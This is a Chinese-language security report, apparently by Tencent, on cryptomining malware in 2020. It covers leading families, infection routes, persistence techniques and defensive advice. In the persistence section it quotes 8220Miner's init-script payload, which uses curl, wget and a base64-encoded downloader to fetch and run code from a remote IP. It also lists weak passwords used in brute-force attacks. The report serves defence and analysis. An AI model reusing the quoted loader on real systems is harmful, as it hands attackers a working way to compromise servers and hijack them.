一、报告背景

2020年各类数字加密货币价格迎来暴涨,比特币价格一度超过5万美元/BTC,市值达到9200亿美元,是2019年底的10倍之多,达到了历史最高点。同期挖矿木马最偏好的门罗币价格也同步增长6倍,这意味着黑客通过进行门罗币挖矿,兑现后收益可达到以往收益的6倍。在如此大利益诱惑之下,黑产团伙已闻风而动,纷纷加入了对主机计算资源的争夺,一个典型现象就是,有大量挖矿木马在运行时,会尝试清除竞争对手木马。

根据腾讯安全威胁情报中心的检测数据,2020年挖矿木马上升趋势十分明显。

本报告以腾讯安全产品获取的安全事件告警工单数据为基础,统计分析得出2020年挖矿木马的活跃家族TOP榜,从挖矿木马主要入侵特点、漏洞利用偏好、持久化运行手段等方面展示其主要威胁,预测未来挖矿木马攻击可能呈现的新趋势,给政企机构安全运维团队提供常见挖矿木马的防御清理建议。

二、挖矿木马风险

1、整体情况

1.1 挖矿家族TOP榜

2020年度挖矿木马家族排名前三的分别为DTLMiner(永恒之蓝下载器木马)、H2Miner、GuardMiner,榜单中有通过永恒之蓝漏洞传播的为DTLMiner、NSABuffMiner、NSAGluptebaMiner,有利用Redis、Hadoop、Weblogic、Drupal、thinkphp等应用程序漏洞传播的为H2Miner、GuardMiner、z0Miner、8220Miner等家族,以及主要通过弱口令爆破进行传播的为KoiMiner家族。

1.2 挖矿木马的危害

挖矿木马最容易被感知到的影响就是服务器性能会出现严重下降,从而影响服务器业务系统的正常运行,严重时可能出现业务系统中断或系统崩溃。如下图所未案例,H2Miner挖矿木马运行时占用了98%的CPU资源,系统性能已严重受损。

其次,挖矿木马威胁事件往往伴随着攻击者组建僵尸网络。感染挖矿木马的同时,服务器已成为黑客控制的肉鸡电脑,除了硬件资源被浪费,黑客还可能利用失陷主机对其他目标进行攻击,包括蠕虫式的横向攻击扩散、对特定目标进行DDoS攻击、作为黑客下一步攻击的跳板隐藏攻击者线索或攻击真实意图、将失陷主机作为分发木马的下载服务器或C2服务器等等。

第三,失陷主机可能造成信息泄露。攻击者入侵成功,很多情况下已获得服务器的完全权限,只要攻击者愿意,就可能盗取服务器数据,使受害企业面临信息泄露风险,攻击者也可能在服务器下载运行勒索病毒,随时可能给企业造成更加严重的破坏。

第四,攻击者入侵安装挖矿木马的同时,还可能在服务器安装后门、服务和计划任务,实现对失陷主机的稳固长期控制。腾讯安全专家分析发现,较多挖矿木马威胁事件发生后,攻击者会添加管理员用户、安装远程控制软件,以及为方便攻击者下次连接开放特定的网络端口。

鉴于以上这些危害,我们建议政企机构安全运维人员高度警惕挖矿木马感染事件,挖矿可能仅仅是攻击者制造危害的第一步,极可能处于黑客入侵后危害最轻的阶段。

2、挖矿木马入侵通道

2.1利用漏洞攻击

远程代码执行漏洞(RCE)可以让远程攻击者直接向后台服务器远程注入操作系统命令或者恶意代码,从而控制后台系统,挖矿木马攻击时最常用的远程代码执行漏洞TOP统计如下:

在2020年挖矿木马最常利用的RCE漏洞排行榜里,WebLogic CVE-2019-2725高居榜首。

此外,还有各种未授权访问漏洞被攻击者利用。即需要安全配置或权限认证的地址、授权页面存在缺陷导致攻击者可以直接访问,从而引发敏感信息泄露或恶意代码执行。挖矿木马攻击时常用未授权访问漏洞列表如下:

典型案例

Z0Miner利用公开仅15天的高危漏洞攻击挖矿

腾讯安全团队于2020年11月2日发现挖矿木马团伙z0Miner利用Weblogic未授权命令执行漏洞(CVE-2020-14882/14883)进行攻击,本次攻击距离Weblogic官方发布安全公告(2020.10.21)之后仅仅15天。挖矿木马团伙对于新漏洞武器的采用速度之快,由此可见一斑。这一案例促使安全研究人员需要更快速的响应高危安全漏洞,当面临数量庞大的云主机高危漏洞需要修补时,对安全运维人员构成极大挑战。

redis服务器配置弱口令致SuperManMiner控制约万台主机挖矿

腾讯安全威胁情报中心检测到利用Redis未授权访问漏洞直接写入计划任务,下载用golang语言编写的挖矿木马下载器superman,根据挖矿算力推测该团伙已控制约1万台失陷系统进行门罗币挖矿。

在本例中,部分政企机构使用Redis时,由于没有对redis进行良好的配置,如使用空口令或者弱口令等,导致攻击者可以直接访问redis服务器,并可以通过该问题直接写入计划任务甚至可以直接拿到服务器权限。

RunMiner控制约1.6万台主机挖矿

腾讯主机安全(云镜)捕获RunMiner挖矿木马利用Apache Shiro反序列化漏洞(CVE-2016-4437)攻击云服务器。RunMiner挖矿团伙入侵成功后会执行命令反弹shell连接到C2服务器对肉鸡系统进行远程控制,然后继续下载执行Run.sh,下载XMRig挖矿木马tcpp进行门罗币挖矿,病毒通过安装定时任务进行持久化。

根据RunMiner挖矿木马使用的门罗币钱包算力(约268.6KH/s)推算,该挖矿团伙已控制约16000台服务器执行挖矿任务。在黑客控制的服务器上还发现多个扫描探测、网络入侵和远程控制工具,该团伙显然是专业黑灰产经营团伙之一。

2.2 爆破攻击

用户在设置系统登陆密码时,为了方便记忆往往采用默认的空口令或者非常简单的密码例如admin、root、test、111111、123456等,使用这些密码导致黑客可以轻易猜解并登陆,从而入侵系统,部分常见的弱密码如下:

admin

admin12

admin888

admin8

admin123

sysadmin

adminxxx

adminx

root

roots

test

test1

test123

test2

password

aaaAAA111

888888

88888888

000000

00000000

111111

11111111

aaaaaa

aaaaaaaa

135246

135246789

123456

许多挖矿木马在传播时也会针对系统的弱密码进行爆破攻击,根据腾讯安全2020年云上安全报告提供的数据,默认用户名、端口名被爆破攻击的次数达数十亿次之多。常被挖矿木马爆破攻击的服务类型包括SSH、Mssql、Redis等,各类型爆破攻击对应的挖矿家族如下:

MS SQL

永恒之蓝下载器木马、GuardMiner 、MrbMiner、BasedMiner、贪吃蛇挖矿木马、快GO旷工

SSH爆破

永恒之蓝下载器木马、Ks3_Miner、LoggerMiner、8220Miner、DDG

Redis爆破

永恒之蓝下载器木马、H2Miner、GuardMiner、DDG

Msql爆破

Mykings

2.3 僵尸网络渠道

利用僵尸网络渠道分发成为挖矿木马越来越偏好的传播手段之一,挖矿木马自身也在组建僵尸网络。僵尸网络在分发安装挖矿木马的同时,还会下载持久化模块、远程控制模块、攻击传播模块、自动更新模块等多种恶意组件,以达到对已感染机器进行长久利用和控制的目的,已失陷的肉鸡系统又会成为新的攻击源,如此不断扩大僵尸网络的规模。

具有僵尸网络特征的挖矿木马TOP榜如下,其中前三位是DTLMiner(永恒之蓝下载器木马)、H2Miner、GuardMiner为老牌僵尸网络,由于控制该僵尸网络的幕后黑客团伙仍在不断更新其攻击方法,使其在出现后的数年里仍然保持很高的活跃度。

在2020年新活跃的挖矿木马家族以Linux服务器为攻击对象的居多,例如通过SSH弱口令攻击的Outlaw、Prometei,通过Docker Remote API漏洞入侵的TeamTNT,以及通过Nexus Repository Manager 3弱密码入侵,利用Mysql、Tomcat弱口令爆破,Weblogic远程代码执行漏洞进行横向扩散的Sysrv-hello家族等等。

典型案例

TeamTNT

TeamTNT挖矿团伙通过批量扫描公网上开放2375端口的云服务器,并尝试利用Docker Remote API未授权访问漏洞对云服务器进行攻击。TeamTNT在成功入侵云服务器后,会隐藏进程,通过安装定时任务持久化,并收集主机上的隐私数据(如主机用户名和密码、RSA登录凭证、AWS CLI跨账户授权信息、docker配置信息)上传到C2服务器。与此同时,为了控制更多肉鸡系统,增加挖矿收益,TeamTNT团伙还利用SSH复用连接进行横向移动以感染更多服务器。

Sysrv-hello

腾讯安全威胁情报中心检测到Sysrv-hello僵尸网络对云上Nexus Repository Manager 3存在默认帐号密码的服务器进行攻击。得手后再下载门罗币矿机程序挖矿,同时下载mysql、Tomcat弱口令爆破工具,Weblogic远程代码执行漏洞(CVE-2020-14882)攻击工具进行横向扩散。其攻击目标同时覆盖Linux和Windows操作系统。

Outlaw

腾讯安全威胁情报中心检测到国内大量企业遭遇亡命徒(Outlaw)僵尸网络攻击。亡命徒(Outlaw)僵尸网络最早于2018年被发现,其主要特征为通过SSH爆破攻击目标系统,同时传播基于Perl的Shellbot和门罗币挖矿木马。腾讯安全威胁情报中心安全大数据显示,亡命徒(Outlaw)僵尸网络已造成国内约2万台Linux服务器感染,影响上万家企业。

此次攻击传播的母体文件为dota3.tar.gz,可能为亡命徒(Outlaw)僵尸网络的第3个版本,母体文件释放shell脚本启动对应二进制程序,kswapd0负责进行门罗币挖矿,tsm32、tsm64负责继续SSH爆破攻击传播病毒。

3、挖矿木马持久化

入侵者攻击得逞之后,会通过各种技术手段安装后门、服务和定时任务,添加管理员帐户、开放网络端口,实现对失陷主机的持久控制。

3.1 Linux定时任务

WatchbogMiner通过多种方式创建定时任务,在指定的时间执行恶意代码:

1. 通过写入文件创建

写入文件如下

/etc/crontab
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/cron.d/system
/etc/cron.d/apache
/etc/cron.d/root
/etc/cron.hourly/oanacroane
/etc/cron.daily/oanacroane
/etc/cron.monthly/oanacroane

2. 通过crontab命令创建

3. 通过at命令创建

4. 通过修改环境变量"/home/$me/.bashrc"、"/root/.bashrc"创建

3.2 Linux系统服务

1. WannaMine将恶意代码写入启动目录/etc/rc.d/init.d目录下,随系统启动执行。

2. 8220Miner通过写入系统初始化脚本/etc/init.d/down,将恶意代码添加到启动项。

echo -e '#!/bin/bash
 
### BEGIN INIT INFO
 
# Provides:          down
 
# Required-Start:
 
# Required-Stop:
 
# Default-Start:     2 3 4 5
 
# Default-Stop:
 
# Short-Description: down (by pwned)
 
### END INIT INFO
 
(curl -fsSL hxxp://5.196.247.12/xms||wget-q -O- hxxp://5.196.247.12/xms)|bash -sh; echocHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly81LjE5Ni4yNDcuMTIvZC5weSIpLnJlYWQoKSkn| base64 -d | bash -; lwp-download hxxp://5.196.247.12/xms /tmp/xms; bash/tmp/xms' > /etc/init.d/down

3. Muhstik僵尸网络通过写入/etc/inittab,添加恶意程序到系统启动项。

4. 4SHMiner通过安装服务/etc/init.d/c3pool_miner启动挖矿脚本。

5. 4SHMiner4SHMiner通过安装服务/etc/systemd/system/moneroocean_miner.service启动挖矿脚本。

3.3 Windows WMI

KingMiner使用WMI创建名为WindowsSystemUpdate_WMITimer的计时器,并将事件消费者WindowsSystemUpdate_consumer通过事件过滤器WindowsSystemUpdate _filter绑定到计时器,从而通过计时器每15分钟执行一次恶意脚本代码。

三、未来趋势

挖矿木马针对云上攻击增长较快,企业安全管理人员时刻面临新的挑战。黑灰产业对谋求 非法利益的追求没有止境。受利益驱使,挖矿团伙对新漏洞武器的采用速度越来越快,这对防御方的安全响应能力提出了更高的要求。与此同时,众多网络组件的安全漏洞仍会源源不断涌现。

旧的挖矿僵尸网络依然活跃,新僵尸网络不断出现,模块化的、持续扩张、挖矿团伙跟僵尸网络相互勾结的情况日趋多见。这种复杂的安全态势使得政企机构难以采用单一技术方案防御和清除威胁。

四、安全建议

防御建议

1. 建议政企机构运维人员对Linux服务器的SSH服务、Windows SQL Server等常用主机访问入口设置高强度的登录密码,以对抗弱口令爆破攻击。

2. 对于Redis、Hadoop Yarn、Docker、XXL-JOB、Postgres等应用增加授权验证,对访问对象进行控制。

3. 如果服务器部署了Weblogic、Apache Struts、Apache Flink、ThinkPHP等经常曝出高危漏洞的服务器组件,应及时将其更新到最新版本,并且实时关注组件官方网站和各大安全厂商发出的安全公告,根据提示修复相关漏洞。

在日常运维中,系统管理员可注意以下内容:

1、检查有无占用CPU资源接近甚至超过100%的进程,如有找到进程对应文件,确认是否属于挖矿木马,Kill 挖矿木马进程并删除文件;kill 掉包含下载恶意shell脚本代码执行的进程;

2、检查/var/spool/cron/root、/var/spool/cron/crontabs/root等文件中有无恶意脚本下载命令,有无挖矿木马启动命令,并将其删除;

3、如有发现挖矿相关进程、恶意程序,及时对服务器存在的系统漏洞、弱口令、Web应用漏洞进行排查和修复。